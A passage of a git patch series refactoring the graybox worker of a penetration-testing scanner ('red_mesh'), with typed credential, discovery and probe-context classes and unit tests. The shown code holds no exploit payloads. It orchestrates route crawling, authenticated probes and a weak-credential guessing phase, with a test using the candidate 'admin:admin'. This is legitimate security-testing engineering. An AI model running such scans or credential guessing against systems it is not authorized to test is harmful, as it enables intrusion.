method)() + self.metrics.record_probe(method, "completed") + except Exception as exc: + self.P(f"Correlation probe {method} failed: {exc}", color='r') + self.metrics.record_probe(method, "failed") def execute_job(self): """ @@ -386,43 +430,8 @@ def execute_job(self): try: self.P(f"Starting pentest job.") self.metrics.start_scan(len(self.initial_ports)) - - if not self._check_stopped(): - self.metrics.phase_start("port_scan") - self._scan_ports_step() - self.metrics.phase_end("port_scan") - - if not self._check_stopped(): - self.metrics.phase_start("fingerprint") - self._active_fingerprint_ports() - self.metrics.phase_end("fingerprint") - self.state["completed_tests"].append("fingerprint_completed") - - if not self._check_stopped(): - self.metrics.phase_start("service_probes") - self._gather_service_info() - self.metrics.phase_end("service_probes") - self.state["completed_tests"].append("service_info_completed") - - if not self._check_stopped() and not self._ics_detected: - self.metrics.phase_start("web_tests") - self._run_web_tests() - self.metrics.phase_end("web_tests") - self.state["completed_tests"].append("web_tests_completed") - - if not self._check_stopped(): - self.metrics.phase_start("correlation") - if "_post_scan_correlate" in self.__enabled_features: - try: - self._post_scan_correlate() - self.metrics.record_probe("_post_scan_correlate", "completed") - except Exception as exc: - self.P(f"Correlation probe failed: {exc}", color='r') - self.metrics.record_probe("_post_scan_correlate", "failed") - else: - self.metrics.record_probe("_post_scan_correlate", "skipped:disabled") - self.metrics.phase_end("correlation") - self.state["completed_tests"].append("correlation_completed") + for phase_config in self.PHASE_EXECUTION_PLAN: + self._execute_phase(phase_config) self.state['done'] = True self.P(f"Job completed. Ports open and checked: {self.state['open_ports']}") From 107d540209fa73c975801dc0d8c2308a4ef9758f Mon Sep 17 00:00:00 2001 From: toderian Date: Fri, 13 Mar 2026 08:57:51 +0000 Subject: [PATCH 079/114] refactor: type redmesh graybox runtime flow --- .../cybersec/red_mesh/graybox/auth.py | 16 + .../cybersec/red_mesh/graybox/discovery.py | 60 +++- .../red_mesh/graybox/models/__init__.py | 33 ++ .../red_mesh/graybox/models/runtime.py | 54 +++ .../cybersec/red_mesh/graybox/worker.py | 328 ++++++++++-------- .../cybersec/red_mesh/tests/test_discovery.py | 10 + .../cybersec/red_mesh/tests/test_worker.py | 18 + 7 files changed, 365 insertions(+), 154 deletions(-) create mode 100644 extensions/business/cybersec/red_mesh/graybox/models/runtime.py diff --git a/extensions/business/cybersec/red_mesh/graybox/auth.py b/extensions/business/cybersec/red_mesh/graybox/auth.py index 1835c333..5ec97699 100644 --- a/extensions/business/cybersec/red_mesh/graybox/auth.py +++ b/extensions/business/cybersec/red_mesh/graybox/auth.py @@ -52,6 +52,8 @@ def ensure_sessions(self, official_creds, regular_creds=None): def authenticate(self, official_creds, regular_creds=None): """Create fresh sessions for all configured users.""" self.anon_session = self._make_session() + official_creds = self._coerce_creds(official_creds) + regular_creds = self._coerce_creds(regular_creds) self.official_session = self._try_login( official_creds["username"], @@ -72,6 +74,20 @@ def authenticate(self, official_creds, regular_creds=None): self._created_at = time.time() return True + @staticmethod + def _coerce_creds(creds): + if creds is None: + return None + if isinstance(creds, dict): + return { + "username": creds.get("username", ""), + "password": creds.get("password", ""), + } + return { + "username": getattr(creds, "username", "") or "", + "password": getattr(creds, "password", "") or "", + } + def cleanup(self): """ Explicitly close sessions and attempt logout. diff --git a/extensions/business/cybersec/red_mesh/graybox/discovery.py b/extensions/business/cybersec/red_mesh/graybox/discovery.py index 9a1a67c5..b44aea12 100644 --- a/extensions/business/cybersec/red_mesh/graybox/discovery.py +++ b/extensions/business/cybersec/red_mesh/graybox/discovery.py @@ -12,6 +12,8 @@ import requests +from .models import DiscoveryResult + class _RouteParser(HTMLParser): """Extract href and form action attributes from HTML.""" @@ -112,9 +114,65 @@ def discover(self, known_routes=None): if normalized and self._in_scope(normalized): all_forms.add(normalized) + result = self.discover_result(known_routes=known_routes) + return result.to_tuple() + + def discover_result(self, known_routes=None) -> DiscoveryResult: + """Discover application routes/forms and return a typed result.""" + visited = set() + to_visit = deque([("/", 0)]) + + if known_routes: + for route in known_routes: + if self._in_scope(route): + to_visit.append((route, 0)) + + all_routes = set() + all_forms = set() + + while to_visit and len(visited) < self._max_pages: + path, depth = to_visit.popleft() + if path in visited: + continue + visited.add(path) + + self.safety.throttle() + + session = self.auth.official_session or self.auth.anon_session + if session is None: + break + + url = self.target_url + path + try: + resp = session.get(url, timeout=10, allow_redirects=True) + except requests.RequestException: + continue + + all_routes.add(path) + + if "text/html" not in resp.headers.get("Content-Type", ""): + continue + + parser = _RouteParser() + try: + parser.feed(resp.text) + except Exception: + continue + + if depth < self._max_depth: + for link in parser.links: + normalized = self._normalize(link) + if normalized and normalized not in visited and self._in_scope(normalized): + to_visit.append((normalized, depth + 1)) + + for action in parser.forms: + normalized = self._normalize(action) + if normalized and self._in_scope(normalized): + all_forms.add(normalized) + self.routes = sorted(all_routes) self.forms = sorted(all_forms) - return self.routes, self.forms + return DiscoveryResult(routes=self.routes, forms=self.forms) def _normalize(self, raw): """Normalize a link to a same-origin, canonicalized path.""" diff --git a/extensions/business/cybersec/red_mesh/graybox/models/__init__.py b/extensions/business/cybersec/red_mesh/graybox/models/__init__.py index e69de29b..55ae4a3b 100644 --- a/extensions/business/cybersec/red_mesh/graybox/models/__init__.py +++ b/extensions/business/cybersec/red_mesh/graybox/models/__init__.py @@ -0,0 +1,33 @@ +from .runtime import DiscoveryResult, GrayboxCredential, GrayboxCredentialSet +from .target_config import ( + AccessControlConfig, + AdminEndpoint, + BusinessLogicConfig, + COMMON_CSRF_FIELDS, + DiscoveryConfig, + GrayboxTargetConfig, + IdorEndpoint, + InjectionConfig, + MisconfigConfig, + RecordEndpoint, + SsrfEndpoint, + WorkflowEndpoint, +) + +__all__ = [ + "AccessControlConfig", + "AdminEndpoint", + "BusinessLogicConfig", + "COMMON_CSRF_FIELDS", + "DiscoveryConfig", + "DiscoveryResult", + "GrayboxCredential", + "GrayboxCredentialSet", + "GrayboxTargetConfig", + "IdorEndpoint", + "InjectionConfig", + "MisconfigConfig", + "RecordEndpoint", + "SsrfEndpoint", + "WorkflowEndpoint", +] diff --git a/extensions/business/cybersec/red_mesh/graybox/models/runtime.py b/extensions/business/cybersec/red_mesh/graybox/models/runtime.py new file mode 100644 index 00000000..aeb596bb --- /dev/null +++ b/extensions/business/cybersec/red_mesh/graybox/models/runtime.py @@ -0,0 +1,54 @@ +from __future__ import annotations + +from dataclasses import dataclass, field + + +@dataclass(frozen=True) +class GrayboxCredential: + username: str = "" + password: str = "" + + @property + def is_configured(self) -> bool: + return bool(self.username) + + def to_dict(self) -> dict: + return { + "username": self.username, + "password": self.password, + } + + +@dataclass(frozen=True) +class GrayboxCredentialSet: + official: GrayboxCredential + regular: GrayboxCredential | None = None + weak_candidates: list[str] = field(default_factory=list) + max_weak_attempts: int = 5 + + @classmethod + def from_job_config(cls, job_config) -> GrayboxCredentialSet: + regular = None + if getattr(job_config, "regular_username", ""): + regular = GrayboxCredential( + username=getattr(job_config, "regular_username", "") or "", + password=getattr(job_config, "regular_password", "") or "", + ) + return cls( + official=GrayboxCredential( + username=getattr(job_config, "official_username", "") or "", + password=getattr(job_config, "official_password", "") or "", + ), + regular=regular, + weak_candidates=list(getattr(job_config, "weak_candidates", None) or []), + max_weak_attempts=int(getattr(job_config, "max_weak_attempts", 5) or 5), + ) + + +@dataclass(frozen=True) +class DiscoveryResult: + routes: list[str] = field(default_factory=list) + forms: list[str] = field(default_factory=list) + + def to_tuple(self) -> tuple[list[str], list[str]]: + return self.routes, self.forms diff --git a/extensions/business/cybersec/red_mesh/graybox/worker.py b/extensions/business/cybersec/red_mesh/graybox/worker.py index a3f73180..334107dc 100644 --- a/extensions/business/cybersec/red_mesh/graybox/worker.py +++ b/extensions/business/cybersec/red_mesh/graybox/worker.py @@ -14,7 +14,7 @@ from .auth import AuthManager from .discovery import DiscoveryModule from .safety import SafetyControls -from .models.target_config import GrayboxTargetConfig +from .models import DiscoveryResult, GrayboxCredentialSet, GrayboxTargetConfig # Weak auth uses a direct import (not the registry) because it is a # distinct pipeline phase, not a generic probe. @@ -22,6 +22,14 @@ class GrayboxLocalWorker(BaseLocalWorker): + PHASE_PLAN = ( + ("preflight", "_run_preflight_phase"), + ("authentication", "_run_authentication_phase"), + ("discovery", "_run_discovery_phase"), + ("graybox_probes", "_run_probe_phase"), + ("weak_auth", "_run_weak_auth_phase"), + ) + """ Authenticated webapp probe worker. @@ -99,6 +107,7 @@ def __init__(self, owner, job_id, target_url, job_config, "canceled": False, } self._phase = "" + self._credentials = GrayboxCredentialSet.from_job_config(job_config) @classmethod def get_feature_prefixes(cls): @@ -141,169 +150,25 @@ def get_status(self, for_aggregations=False): def execute_job(self): """Preflight → Auth → Discover → Probes → Weak Auth → Cleanup → Done.""" - routes, forms = [], [] + discovery_result = DiscoveryResult() self.metrics.start_scan(1) try: - # ── Phase 0: Preflight ── - self._set_phase("preflight") - self.metrics.phase_start("preflight") - target_error = self.safety.validate_target( - self.target_url, self.job_config.authorized, - ) - if target_error: - self._record_fatal(target_error) - return - - preflight_error = self.auth.preflight_check() - if preflight_error: - self._record_fatal(preflight_error) + self._run_preflight_phase() + if self._check_stopped(): return - if not self.job_config.verify_tls: - self.P( - f"WARNING: TLS verification disabled for {self.target_url}. " - "Credentials may be intercepted by a MITM attacker.", color='y' - ) - self._store_findings("_graybox_preflight", [GrayboxFinding( - scenario_id="PREFLIGHT-TLS", - title="TLS verification disabled", - status="inconclusive", - severity="LOW", - owasp="A02:2021", - cwe=["CWE-295"], - evidence=[f"verify_tls=False", f"target={self.target_url}"], - remediation="Enable TLS verification or use a trusted certificate.", - )]) - - self.metrics.phase_end("preflight") - - # ── Phase 1: Authentication ── - self._set_phase("authentication") - self.metrics.phase_start("authentication") - official_creds = { - "username": self.job_config.official_username, - "password": self.job_config.official_password, - } - regular_creds = None - if self.job_config.regular_username: - regular_creds = { - "username": self.job_config.regular_username, - "password": self.job_config.regular_password, - } - - auth_ok = self.auth.authenticate(official_creds, regular_creds) - self._store_auth_results() - self.state["completed_tests"].append("graybox_auth") - self.metrics.phase_end("authentication") - + auth_ok = self._run_authentication_phase() if not auth_ok: - self._record_fatal("Official authentication failed. Cannot proceed with graybox scan.") return - # ── Phase 2: Route discovery ── if not self._check_stopped(): - self._set_phase("discovery") - self.metrics.phase_start("discovery") - self.auth.ensure_sessions(official_creds, regular_creds) - routes, forms = self.discovery.discover( - known_routes=self.job_config.app_routes, - ) - self._store_discovery_results(routes, forms) - self.state["completed_tests"].append("graybox_discovery") - self.metrics.phase_end("discovery") + discovery_result = self._run_discovery_phase() - # ── Phase 3: Probes ── if not self._check_stopped(): - self._set_phase("graybox_probes") - self.metrics.phase_start("graybox_probes") - self.auth.ensure_sessions(official_creds, regular_creds) - - probe_kwargs = dict( - target_url=self.target_url, - auth_manager=self.auth, - target_config=self.target_config, - safety=self.safety, - discovered_routes=routes, - discovered_forms=forms, - regular_username=self.job_config.regular_username, - allow_stateful=self.job_config.allow_stateful_probes, - ) + self._run_probe_phase(discovery_result) - excluded_features = set(self.job_config.excluded_features or []) - graybox_excluded = "graybox" in excluded_features - - if not graybox_excluded: - for entry in GRAYBOX_PROBE_REGISTRY: - if self._check_stopped(): - break - - store_key = entry["key"] - - if store_key in excluded_features: - self.metrics.record_probe(store_key, "skipped:disabled") - continue - - probe_cls = self._import_probe(entry["cls"]) - - # Capability-based skip checks — read from the class itself - if probe_cls.is_stateful and not self.job_config.allow_stateful_probes: - self.metrics.record_probe(store_key, "skipped:stateful_disabled") - self._store_findings(store_key, [GrayboxFinding( - scenario_id=f"SKIP-{store_key}", - title="Probe skipped: stateful probes disabled", - status="inconclusive", severity="INFO", owasp="", - evidence=["stateful_probes_disabled=True"], - )]) - continue - if probe_cls.requires_regular_session and not self.auth.regular_session: - self.metrics.record_probe(store_key, "skipped:missing_regular_session") - continue - if probe_cls.requires_auth and not self.auth.official_session: - self.metrics.record_probe(store_key, "skipped:missing_auth") - continue - - self.auth.ensure_sessions(official_creds, regular_creds) - - try: - findings = probe_cls(**probe_kwargs).run() - self._store_findings(store_key, findings) - self.metrics.record_probe(store_key, "completed") - except Exception as exc: - self._record_probe_error(store_key, exc) - self.metrics.record_probe(store_key, "failed") - else: - for entry in GRAYBOX_PROBE_REGISTRY: - self.metrics.record_probe(entry["key"], "skipped:disabled") - - self.state["completed_tests"].append("graybox_probes") - self.metrics.phase_end("graybox_probes") - - # ── Phase 4: Weak auth (optional) ── - if ( - not self._check_stopped() - and self.job_config.weak_candidates - and "_graybox_weak_auth" not in (self.job_config.excluded_features or []) - ): - self._set_phase("weak_auth") - self.metrics.phase_start("weak_auth") - self.auth.ensure_sessions(official_creds, regular_creds) - bl_probe = BusinessLogicProbes( - **dict(probe_kwargs, allow_stateful=False), - ) - try: - weak_findings = bl_probe.run_weak_auth( - self.job_config.weak_candidates, - self.job_config.max_weak_attempts, - ) - self._store_findings("_graybox_weak_auth", weak_findings) - self.metrics.record_probe("_graybox_weak_auth", "completed") - except Exception as exc: - self._record_probe_error("_graybox_weak_auth", exc) - self.metrics.record_probe("_graybox_weak_auth", "failed") - self.state["completed_tests"].append("graybox_weak_auth") - self.metrics.phase_end("weak_auth") - elif self.job_config.weak_candidates and "_graybox_weak_auth" in (self.job_config.excluded_features or []): - self.metrics.record_probe("_graybox_weak_auth", "skipped:disabled") + if not self._check_stopped(): + self._run_weak_auth_phase(discovery_result) except Exception as exc: self._record_fatal(self.safety.sanitize_error(str(exc))) @@ -312,6 +177,163 @@ def execute_job(self): self.metrics.phase_end(self._phase) self.state["done"] = True + def _run_preflight_phase(self): + self._set_phase("preflight") + self.metrics.phase_start("preflight") + target_error = self.safety.validate_target( + self.target_url, self.job_config.authorized, + ) + if target_error: + self._record_fatal(target_error) + return + + preflight_error = self.auth.preflight_check() + if preflight_error: + self._record_fatal(preflight_error) + return + + if not self.job_config.verify_tls: + self.P( + f"WARNING: TLS verification disabled for {self.target_url}. " + "Credentials may be intercepted by a MITM attacker.", color='y' + ) + self._store_findings("_graybox_preflight", [GrayboxFinding( + scenario_id="PREFLIGHT-TLS", + title="TLS verification disabled", + status="inconclusive", + severity="LOW", + owasp="A02:2021", + cwe=["CWE-295"], + evidence=[f"verify_tls=False", f"target={self.target_url}"], + remediation="Enable TLS verification or use a trusted certificate.", + )]) + self.metrics.phase_end("preflight") + + def _run_authentication_phase(self) -> bool: + self._set_phase("authentication") + self.metrics.phase_start("authentication") + auth_ok = self.auth.authenticate(self._credentials.official, self._credentials.regular) + self._store_auth_results() + self.state["completed_tests"].append("graybox_auth") + self.metrics.phase_end("authentication") + + if not auth_ok: + self._record_fatal("Official authentication failed. Cannot proceed with graybox scan.") + return False + return True + + def _run_discovery_phase(self) -> DiscoveryResult: + self._set_phase("discovery") + self.metrics.phase_start("discovery") + self.auth.ensure_sessions(self._credentials.official, self._credentials.regular) + result = None + discover_result = getattr(self.discovery, "discover_result", None) + if callable(discover_result): + maybe_result = discover_result(known_routes=self.job_config.app_routes) + if isinstance(maybe_result, DiscoveryResult): + result = maybe_result + if result is None: + routes, forms = self.discovery.discover( + known_routes=self.job_config.app_routes, + ) + result = DiscoveryResult(routes=routes, forms=forms) + self._store_discovery_results(result.routes, result.forms) + self.state["completed_tests"].append("graybox_discovery") + self.metrics.phase_end("discovery") + return result + + def _build_probe_kwargs(self, discovery_result: DiscoveryResult) -> dict: + return dict( + target_url=self.target_url, + auth_manager=self.auth, + target_config=self.target_config, + safety=self.safety, + discovered_routes=discovery_result.routes, + discovered_forms=discovery_result.forms, + regular_username=self._credentials.regular.username if self._credentials.regular else "", + allow_stateful=self.job_config.allow_stateful_probes, + ) + + def _run_probe_phase(self, discovery_result: DiscoveryResult): + self._set_phase("graybox_probes") + self.metrics.phase_start("graybox_probes") + self.auth.ensure_sessions(self._credentials.official, self._credentials.regular) + + probe_kwargs = self._build_probe_kwargs(discovery_result) + excluded_features = set(self.job_config.excluded_features or []) + graybox_excluded = "graybox" in excluded_features + + if not graybox_excluded: + for entry in GRAYBOX_PROBE_REGISTRY: + if self._check_stopped(): + break + + store_key = entry["key"] + + if store_key in excluded_features: + self.metrics.record_probe(store_key, "skipped:disabled") + continue + + probe_cls = self._import_probe(entry["cls"]) + + if probe_cls.is_stateful and not self.job_config.allow_stateful_probes: + self.metrics.record_probe(store_key, "skipped:stateful_disabled") + self._store_findings(store_key, [GrayboxFinding( + scenario_id=f"SKIP-{store_key}", + title="Probe skipped: stateful probes disabled", + status="inconclusive", severity="INFO", owasp="", + evidence=["stateful_probes_disabled=True"], + )]) + continue + if probe_cls.requires_regular_session and not self.auth.regular_session: + self.metrics.record_probe(store_key, "skipped:missing_regular_session") + continue + if probe_cls.requires_auth and not self.auth.official_session: + self.metrics.record_probe(store_key, "skipped:missing_auth") + continue + + self.auth.ensure_sessions(self._credentials.official, self._credentials.regular) + + try: + findings = probe_cls(**probe_kwargs).run() + self._store_findings(store_key, findings) + self.metrics.record_probe(store_key, "completed") + except Exception as exc: + self._record_probe_error(store_key, exc) + self.metrics.record_probe(store_key, "failed") + else: + for entry in GRAYBOX_PROBE_REGISTRY: + self.metrics.record_probe(entry["key"], "skipped:disabled") + + self.state["completed_tests"].append("graybox_probes") + self.metrics.phase_end("graybox_probes") + + def _run_weak_auth_phase(self, discovery_result: DiscoveryResult): + if ( + self._credentials.weak_candidates + and "_graybox_weak_auth" not in (self.job_config.excluded_features or []) + ): + self._set_phase("weak_auth") + self.metrics.phase_start("weak_auth") + self.auth.ensure_sessions(self._credentials.official, self._credentials.regular) + bl_probe = BusinessLogicProbes( + **dict(self._build_probe_kwargs(discovery_result), allow_stateful=False), + ) + try: + weak_findings = bl_probe.run_weak_auth( + self._credentials.weak_candidates, + self._credentials.max_weak_attempts, + ) + self._store_findings("_graybox_weak_auth", weak_findings) + self.metrics.record_probe("_graybox_weak_auth", "completed") + except Exception as exc: + self._record_probe_error("_graybox_weak_auth", exc) + self.metrics.record_probe("_graybox_weak_auth", "failed") + self.state["completed_tests"].append("graybox_weak_auth") + self.metrics.phase_end("weak_auth") + elif self._credentials.weak_candidates and "_graybox_weak_auth" in (self.job_config.excluded_features or []): + self.metrics.record_probe("_graybox_weak_auth", "skipped:disabled") + def _store_findings(self, key, findings): """Store GrayboxFinding dicts in graybox_results under the port key.""" port_results = self.state["graybox_results"].setdefault(self._port_key, {}) diff --git a/extensions/business/cybersec/red_mesh/tests/test_discovery.py b/extensions/business/cybersec/red_mesh/tests/test_discovery.py index e1f5e053..4f2c51f1 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_discovery.py +++ b/extensions/business/cybersec/red_mesh/tests/test_discovery.py @@ -8,6 +8,7 @@ from extensions.business.cybersec.red_mesh.graybox.models.target_config import ( GrayboxTargetConfig, DiscoveryConfig, ) +from extensions.business.cybersec.red_mesh.graybox.models import DiscoveryResult def _mock_response(status=200, text="", content_type="text/html"): @@ -127,6 +128,15 @@ def test_form_actions_recorded_not_followed(self): self.assertIn("/api/submit/", forms) self.assertIn("/about/", routes) + def test_discover_result_returns_typed_payload(self): + disc = _make_discovery(routes_html={ + "/": 'About
    ', + }) + result = disc.discover_result() + self.assertIsInstance(result, DiscoveryResult) + self.assertIn("/about/", result.routes) + self.assertIn("/api/submit/", result.forms) + def test_known_routes_included(self): """User-supplied routes are added to BFS queue.""" disc = _make_discovery(routes_html={ diff --git a/extensions/business/cybersec/red_mesh/tests/test_worker.py b/extensions/business/cybersec/red_mesh/tests/test_worker.py index 43eda332..39219bea 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_worker.py +++ b/extensions/business/cybersec/red_mesh/tests/test_worker.py @@ -6,6 +6,7 @@ from extensions.business.cybersec.red_mesh.graybox.worker import GrayboxLocalWorker from extensions.business.cybersec.red_mesh.worker.base import BaseLocalWorker from extensions.business.cybersec.red_mesh.graybox.findings import GrayboxFinding +from extensions.business.cybersec.red_mesh.graybox.models import DiscoveryResult, GrayboxCredentialSet from extensions.business.cybersec.red_mesh.constants import ( ScanType, GRAYBOX_PROBE_REGISTRY, ) @@ -216,6 +217,23 @@ def test_metrics_phase_timing(self): metrics = worker.metrics.build() self.assertTrue(len(metrics.phase_durations) > 0) + def test_worker_builds_typed_credentials(self): + worker = _make_worker(regular_username="alice", regular_password="pass", weak_candidates=["admin:admin"]) + self.assertIsInstance(worker._credentials, GrayboxCredentialSet) + self.assertEqual(worker._credentials.official.username, "admin") + self.assertEqual(worker._credentials.regular.username, "alice") + self.assertEqual(worker._credentials.weak_candidates, ["admin:admin"]) + + def test_discovery_phase_returns_typed_result(self): + worker = _make_worker() + worker.auth.ensure_sessions = MagicMock() + worker.discovery.discover_result = MagicMock(return_value=DiscoveryResult(routes=["/a"], forms=["/f"])) + + result = worker._run_discovery_phase() + + self.assertIsInstance(result, DiscoveryResult) + self.assertEqual(result.routes, ["/a"]) + def test_scenario_stats(self): """Scenario stats count findings by status.""" worker = _make_worker() From fd448b95d2b15762ec0713cf410bfd6f941ef53a Mon Sep 17 00:00:00 2001 From: toderian Date: Fri, 13 Mar 2026 09:11:56 +0000 Subject: [PATCH 080/114] refactor: add redmesh graybox probe context --- .../red_mesh/graybox/models/__init__.py | 3 +- .../red_mesh/graybox/models/runtime.py | 24 ++++++ .../cybersec/red_mesh/graybox/probes/base.py | 6 ++ .../cybersec/red_mesh/graybox/worker.py | 74 +++++++++++-------- .../cybersec/red_mesh/tests/test_worker.py | 10 ++- 5 files changed, 84 insertions(+), 33 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/graybox/models/__init__.py b/extensions/business/cybersec/red_mesh/graybox/models/__init__.py index 55ae4a3b..1a1d1dc4 100644 --- a/extensions/business/cybersec/red_mesh/graybox/models/__init__.py +++ b/extensions/business/cybersec/red_mesh/graybox/models/__init__.py @@ -1,4 +1,4 @@ -from .runtime import DiscoveryResult, GrayboxCredential, GrayboxCredentialSet +from .runtime import DiscoveryResult, GrayboxCredential, GrayboxCredentialSet, GrayboxProbeContext from .target_config import ( AccessControlConfig, AdminEndpoint, @@ -23,6 +23,7 @@ "DiscoveryResult", "GrayboxCredential", "GrayboxCredentialSet", + "GrayboxProbeContext", "GrayboxTargetConfig", "IdorEndpoint", "InjectionConfig", diff --git a/extensions/business/cybersec/red_mesh/graybox/models/runtime.py b/extensions/business/cybersec/red_mesh/graybox/models/runtime.py index aeb596bb..570a01d3 100644 --- a/extensions/business/cybersec/red_mesh/graybox/models/runtime.py +++ b/extensions/business/cybersec/red_mesh/graybox/models/runtime.py @@ -52,3 +52,27 @@ class DiscoveryResult: def to_tuple(self) -> tuple[list[str], list[str]]: return self.routes, self.forms + + +@dataclass(frozen=True) +class GrayboxProbeContext: + target_url: str + auth_manager: object + target_config: object + safety: object + discovered_routes: list[str] = field(default_factory=list) + discovered_forms: list[str] = field(default_factory=list) + regular_username: str = "" + allow_stateful: bool = False + + def to_kwargs(self) -> dict: + return { + "target_url": self.target_url, + "auth_manager": self.auth_manager, + "target_config": self.target_config, + "safety": self.safety, + "discovered_routes": list(self.discovered_routes), + "discovered_forms": list(self.discovered_forms), + "regular_username": self.regular_username, + "allow_stateful": self.allow_stateful, + } diff --git a/extensions/business/cybersec/red_mesh/graybox/probes/base.py b/extensions/business/cybersec/red_mesh/graybox/probes/base.py index 17367386..89c048de 100644 --- a/extensions/business/cybersec/red_mesh/graybox/probes/base.py +++ b/extensions/business/cybersec/red_mesh/graybox/probes/base.py @@ -9,6 +9,7 @@ import requests from ..findings import GrayboxFinding +from ..models import GrayboxProbeContext class ProbeBase: @@ -41,6 +42,11 @@ def __init__(self, target_url, auth_manager, target_config, safety, self._allow_stateful = allow_stateful self.findings: list[GrayboxFinding] = [] + @classmethod + def from_context(cls, context: GrayboxProbeContext): + """Build a probe from a typed worker-provided context.""" + return cls(**context.to_kwargs()) + def run_safe(self, probe_name, probe_fn): """ Run a probe with error recovery. diff --git a/extensions/business/cybersec/red_mesh/graybox/worker.py b/extensions/business/cybersec/red_mesh/graybox/worker.py index 334107dc..dfae4ed5 100644 --- a/extensions/business/cybersec/red_mesh/graybox/worker.py +++ b/extensions/business/cybersec/red_mesh/graybox/worker.py @@ -14,7 +14,7 @@ from .auth import AuthManager from .discovery import DiscoveryModule from .safety import SafetyControls -from .models import DiscoveryResult, GrayboxCredentialSet, GrayboxTargetConfig +from .models import DiscoveryResult, GrayboxCredentialSet, GrayboxProbeContext, GrayboxTargetConfig # Weak auth uses a direct import (not the registry) because it is a # distinct pipeline phase, not a generic probe. @@ -243,7 +243,7 @@ def _run_discovery_phase(self) -> DiscoveryResult: return result def _build_probe_kwargs(self, discovery_result: DiscoveryResult) -> dict: - return dict( + return GrayboxProbeContext( target_url=self.target_url, auth_manager=self.auth, target_config=self.target_config, @@ -259,7 +259,7 @@ def _run_probe_phase(self, discovery_result: DiscoveryResult): self.metrics.phase_start("graybox_probes") self.auth.ensure_sessions(self._credentials.official, self._credentials.regular) - probe_kwargs = self._build_probe_kwargs(discovery_result) + probe_context = self._build_probe_kwargs(discovery_result) excluded_features = set(self.job_config.excluded_features or []) graybox_excluded = "graybox" in excluded_features @@ -274,33 +274,7 @@ def _run_probe_phase(self, discovery_result: DiscoveryResult): self.metrics.record_probe(store_key, "skipped:disabled") continue - probe_cls = self._import_probe(entry["cls"]) - - if probe_cls.is_stateful and not self.job_config.allow_stateful_probes: - self.metrics.record_probe(store_key, "skipped:stateful_disabled") - self._store_findings(store_key, [GrayboxFinding( - scenario_id=f"SKIP-{store_key}", - title="Probe skipped: stateful probes disabled", - status="inconclusive", severity="INFO", owasp="", - evidence=["stateful_probes_disabled=True"], - )]) - continue - if probe_cls.requires_regular_session and not self.auth.regular_session: - self.metrics.record_probe(store_key, "skipped:missing_regular_session") - continue - if probe_cls.requires_auth and not self.auth.official_session: - self.metrics.record_probe(store_key, "skipped:missing_auth") - continue - - self.auth.ensure_sessions(self._credentials.official, self._credentials.regular) - - try: - findings = probe_cls(**probe_kwargs).run() - self._store_findings(store_key, findings) - self.metrics.record_probe(store_key, "completed") - except Exception as exc: - self._record_probe_error(store_key, exc) - self.metrics.record_probe(store_key, "failed") + self._run_registered_probe(entry, probe_context) else: for entry in GRAYBOX_PROBE_REGISTRY: self.metrics.record_probe(entry["key"], "skipped:disabled") @@ -316,8 +290,9 @@ def _run_weak_auth_phase(self, discovery_result: DiscoveryResult): self._set_phase("weak_auth") self.metrics.phase_start("weak_auth") self.auth.ensure_sessions(self._credentials.official, self._credentials.regular) + probe_context = self._build_probe_kwargs(discovery_result) bl_probe = BusinessLogicProbes( - **dict(self._build_probe_kwargs(discovery_result), allow_stateful=False), + **dict(probe_context.to_kwargs(), allow_stateful=False), ) try: weak_findings = bl_probe.run_weak_auth( @@ -334,6 +309,43 @@ def _run_weak_auth_phase(self, discovery_result: DiscoveryResult): elif self._credentials.weak_candidates and "_graybox_weak_auth" in (self.job_config.excluded_features or []): self.metrics.record_probe("_graybox_weak_auth", "skipped:disabled") + def _run_registered_probe(self, entry: dict, probe_context: GrayboxProbeContext): + """Run one registered probe through a shared capability and error boundary.""" + store_key = entry["key"] + probe_cls = self._import_probe(entry["cls"]) + + if probe_cls.is_stateful and not probe_context.allow_stateful: + self.metrics.record_probe(store_key, "skipped:stateful_disabled") + self._store_findings(store_key, [GrayboxFinding( + scenario_id=f"SKIP-{store_key}", + title="Probe skipped: stateful probes disabled", + status="inconclusive", severity="INFO", owasp="", + evidence=["stateful_probes_disabled=True"], + )]) + return + if probe_cls.requires_regular_session and not self.auth.regular_session: + self.metrics.record_probe(store_key, "skipped:missing_regular_session") + return + if probe_cls.requires_auth and not self.auth.official_session: + self.metrics.record_probe(store_key, "skipped:missing_auth") + return + + self.auth.ensure_sessions(self._credentials.official, self._credentials.regular) + + try: + from_context = getattr(probe_cls, "from_context", None) + has_explicit_from_context = "from_context" in getattr(probe_cls, "__dict__", {}) + if has_explicit_from_context and callable(from_context): + probe = from_context(probe_context) + else: + probe = probe_cls(**probe_context.to_kwargs()) + findings = probe.run() + self._store_findings(store_key, findings) + self.metrics.record_probe(store_key, "completed") + except Exception as exc: + self._record_probe_error(store_key, exc) + self.metrics.record_probe(store_key, "failed") + def _store_findings(self, key, findings): """Store GrayboxFinding dicts in graybox_results under the port key.""" port_results = self.state["graybox_results"].setdefault(self._port_key, {}) diff --git a/extensions/business/cybersec/red_mesh/tests/test_worker.py b/extensions/business/cybersec/red_mesh/tests/test_worker.py index 39219bea..d5a2f608 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_worker.py +++ b/extensions/business/cybersec/red_mesh/tests/test_worker.py @@ -6,7 +6,7 @@ from extensions.business.cybersec.red_mesh.graybox.worker import GrayboxLocalWorker from extensions.business.cybersec.red_mesh.worker.base import BaseLocalWorker from extensions.business.cybersec.red_mesh.graybox.findings import GrayboxFinding -from extensions.business.cybersec.red_mesh.graybox.models import DiscoveryResult, GrayboxCredentialSet +from extensions.business.cybersec.red_mesh.graybox.models import DiscoveryResult, GrayboxCredentialSet, GrayboxProbeContext from extensions.business.cybersec.red_mesh.constants import ( ScanType, GRAYBOX_PROBE_REGISTRY, ) @@ -234,6 +234,14 @@ def test_discovery_phase_returns_typed_result(self): self.assertIsInstance(result, DiscoveryResult) self.assertEqual(result.routes, ["/a"]) + def test_build_probe_context_returns_typed_context(self): + worker = _make_worker(regular_username="alice") + context = worker._build_probe_kwargs(DiscoveryResult(routes=["/r"], forms=["/f"])) + self.assertIsInstance(context, GrayboxProbeContext) + self.assertEqual(context.discovered_routes, ["/r"]) + self.assertEqual(context.discovered_forms, ["/f"]) + self.assertEqual(context.regular_username, "alice") + def test_scenario_stats(self): """Scenario stats count findings by status.""" worker = _make_worker() From c49701a74afce65e399aeb48770be9fee563505e Mon Sep 17 00:00:00 2001 From: toderian Date: Fri, 13 Mar 2026 